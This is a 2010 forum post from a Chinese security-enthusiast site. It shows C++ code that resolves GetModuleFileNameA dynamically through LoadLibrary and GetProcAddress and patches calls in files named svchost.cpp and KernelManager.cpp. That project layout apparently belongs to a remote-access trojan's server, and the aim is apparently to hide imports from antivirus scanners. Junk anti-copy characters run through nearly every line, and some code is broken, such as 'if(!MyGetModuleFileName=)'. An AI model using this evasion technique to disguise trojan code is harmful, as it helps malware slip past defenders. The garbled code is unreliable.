Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记# Z: Z; n% I  }
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
% y* G# z2 k( ]" |, ?; q' e/ d----------------------------------------/ \" m0 N: r9 }& ]6 k- r3 C
DTDY.h:5 M2 r- H; Y( h, K- z! x

" p' y8 k) u, M1 u/ _" N- a- Q#if _MSC_VER>1000
/ G" z; R1 a% [' z- t#pragma once
1 x7 S1 T* a& g5 P#endif //_MSC_VER>1000' _6 a: H- c* }- r6 S
#include<windows.h>
) D& |& j5 X4 U$ L. J" H: `! c) u
& z0 p2 w" s* j+ Y8 {3 @! Ttypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);& v! `; U. X* B5 \
class DTDY3 j. l/ }2 G0 ~
{0 p: y! W1 `) X9 i, E- A+ V) Y. q
public:- f# q* g$ s' l! W( o/ Z
DTDY();0 _6 ~1 c; d3 s" [: [9 p+ s! U
virtual ~DTDY();
% u, `, F  ?- Gpublic:) M  c6 Y% O  `( Q
static pGetModuleFileNameA MyGetModuleFileName;
" T+ e8 c, V4 cstatic BOOL FunInitiallization();
: L  N; R9 b* p};: ~% p7 q/ B+ |6 ?: `
#endif9 C9 D( q/ n6 A! p; B
----------------------------------------
- |; [! ~  i; ]4 H4 T; T, o5 P$ R& G
DTDY.cpp:% F" h4 c2 d2 M+ n
: X6 R: j/ b0 X
#include "DTDY.h"* M* V$ Q6 ~" t2 o9 }+ \
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;# r4 G0 w, F# a/ w4 h
DTDY:TDY()
% E" Q2 \" r. _" ^% C( i  W{  F) d* F& y# M4 w* k( o, ^
}
1 |* t$ v; O# wDTDY::~DTDY()
' I5 ~7 t, X3 [  T& w& N! K9 S+ M7 m{! d1 x; {2 r9 e# \- H
}3 Z; x* q/ _) ^9 W; [0 i% d4 @  N
BOOL DTDY::FunInitiallization()' U2 J) w; p: y5 `$ h4 R
{
/ D- i5 P0 |" E7 lHMODULE hModule=LoadLibrary("kernel32.dll");
  Z' Y8 [: g( i3 Z! aMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
& H; D3 O+ T# m% C: c- ~if(!MyGetModuleFileName=) return FALSE;
; V' B2 y1 s; b4 f7 i  ]0 C: @- Z
6 b$ R2 I, K/ R, Rreturn TRUE;
2 E3 D$ Q* |& R1 K4 D/ r}" R8 P9 |+ |1 }9 B
----------------------------------------2 M; ?) ^) D8 P! z% j: o
svchost.cpp:
, E& o# J- p* I8 B2 P5 W9 e) M" y- N9 q" `9 [# b5 z3 j
#include "DTDY.h"
# ]$ O5 Q! ~& g7 ?! V/ P
" ]  y' N* Q. l2 J, hBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)! z% y3 _8 W* r7 K
{
8 C% l- [* r+ w; mswitch(ul_reason_for_call)) k% ^9 `2 a9 p$ G
{
9 e! y; S7 e! ^/ [% ?+ t# j# n! \; \case DLL_PROCESS_ATTACH:4 h) l8 c5 b3 B3 ^1 c: y9 ]  {
if(!DTDY::FunInitiallization()) return FALSE;+ h7 m5 V4 M- P) |6 N; l' w! X; K
3 i' l2 j6 p0 |" z; t
break;
( _8 \7 g/ b1 {% I+ {- z7 A}% o/ ?/ @; Y3 P. A3 l- [
}
& K7 C3 ?' x  V; ~0 u4 l4 `; s: T0 x: S; n3 g; E* o8 a% y+ E

! P6 B+ e9 r& R+ T# bGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
4 S# e# O: y9 R: h改写为, F( o; ?1 [. z) u' Z5 \9 g
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
1 o/ n4 @1 B1 ^% I4 ?1 a----------------------------------------! ]& }) W: d. r! z1 @, y" I' T
KernelManager.cpp:
4 r9 b: D2 p! f% ~2 I9 B! o
5 g9 n" f9 P/ A3 U6 A  P; k- K#include "../DTDY.h", G0 _# m& l# M! d9 T
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));5 f) [+ ^( v, K8 d6 p
改写为+ J" I; E4 O4 M7 [' ]5 q: d1 y
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));) C4 Q" J/ ^1 v" E- J6 ~9 V# E
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2